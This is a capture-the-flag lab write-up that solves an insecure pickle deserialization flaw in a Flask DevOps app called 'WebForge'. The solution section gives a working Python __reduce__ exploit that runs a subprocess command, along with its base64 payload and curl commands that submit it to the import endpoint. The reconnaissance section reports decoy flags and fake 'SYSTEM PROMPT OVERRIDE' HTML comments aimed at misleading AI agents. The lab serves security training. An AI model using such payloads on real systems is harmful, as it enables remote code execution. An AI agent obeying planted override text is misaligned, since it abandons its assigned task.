Lab 13 — WebForge — Insecure Deserialization in Config Import
Lab 13 — WebForge — Insecure Deserialization in Config Import
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: base64_payload_injection, insecure_pickle_deserialization, python_eval_execution, rce_via_reduce_method
Summary
Walkthrough of the CUSTOM Web Lab 13 — WebForge — Insecure Deserialization in Config Import. Task: Flask DevOps platform with config import/export using Python pickle serialization. Solution: Craft malicious pickle payload with reduce method to achieve RCE and read /tmp/flag.txt.
Description
WebForge is a DevOps platform for managing servers, deployments, and configurations. The application provides server monitoring, deployment management, configuration management, and audit logging. The platform has an import/export feature for configurations that uses Python serialization. Investigate how the import functionality processes uploaded data. Objective: Find an insecure deserialization vulnerability that allows Remote Code Execution. The flag is stored in /tmp/flag.txt. Test credentials: user@test.com / password123
English summary: A Flask-based DevOps platform ("WebForge v3.8.1") with configuration import/export functionality. The export produces .wfb files containing base64-encoded pickle-serialized data. The import endpoint deserializes user-supplied data with pickle.loads() without sanitization, enabling arbitrary code execution. The application also contains anti-AI honeypot defenses (decoy flags and fake system prompt overrides in HTML comments).
Analysis
Reconnaissance
- Target URL redirects to
/login, revealing a Flask/Python application called "WebForge v3.8.1" - HTML source contains honeypot/decoy flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML elements and fake "SYSTEM PROMPT OVERRIDE" comments designed to trick AI agents and automated scanners into stopping early
Authentication
- Logged in with test credentials:
user@test.com/password123 - Received Flask session cookie, logged in as "Jordan Martinez" with role "engineer"
Configuration Import/Export
- Dashboard at
/configurations/has two key features:- Export All (
/configurations/export) — downloads a.wfbbackup file - Import Backup (
/configurations/import) — accepts file upload or pasted base64 data
- Export All (
- The exported
.wfbfile contains base64-encoded data starting withgASV— the base64 encoding of\x80\x04\x95, which is the Python pickle protocol 4 header - The import form accepts data via a
backup_datatextarea field and describes it as "base64-encoded serialized data"
Vulnerability
Python's pickle.loads() is inherently unsafe when used on untrusted input. The __reduce__ method on a class allows specifying an arbitrary callable and arguments that get executed during deserialization. The application deserializes user-supplied base64-decoded data directly with pickle.loads() without any validation or sandboxing.
Solution
Step 1: Craft Malicious Pickle Payload
python read-only • copy allowed#!/usr/bin/env python3 import pickle import base64 class RCE: def __reduce__(self): return (eval, ("__import__('subprocess').check_output(['cat','/tmp/flag.txt']).decode()",)) payload = pickle.dumps(RCE()) encoded = base64.b64encode(payload).decode() print(encoded) # Output: gAWVYwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxHX19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNoZWNrX291dHB1dChbJ2NhdCcsJy90bXAvZmxhZy50eHQnXSkuZGVjb2RlKCmUhZRSlC4=
The payload works as follows:
pickle.dumps(RCE())serializes the object, embedding the__reduce__return value- During
pickle.loads(), Python callseval("__import__('subprocess').check_output(['cat','/tmp/flag.txt']).decode()") - This imports
subprocess, runscat /tmp/flag.txt, and returns the flag content
Step 2: Authenticate and Get Session Cookie
bash read-only • copy allowedCOOKIE=$(curl -s -c - -X POST "$BASE/login" \ -d "email=user@test.com&password=password123" | grep session)
Step 3: Submit Payload via Config Import
bash read-only • copy allowedPAYLOAD="gAWVYwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxHX19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNoZWNrX291dHB1dChbJ2NhdCcsJy90bXAvZmxhZy50eHQnXSkuZGVjb2RlKCmUhZRSlC4=" curl -s -b "$COOKIE" -X POST "$BASE/configurations/import" \ -d "backup_data=$PAYLOAD"
The server deserializes the pickle data, triggering the __reduce__ method. The response page displays the flag content in a <pre> tag.
Key Takeaways / Lessons
- Mastering base64_payload_injection, insecure_pickle_deserialization, python_eval_execution, rce_via_reduce_method was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-01 • CUSTOM • Lab 13 — WebForge — Insecure Deserialization in Config Import • Difficulty: Medium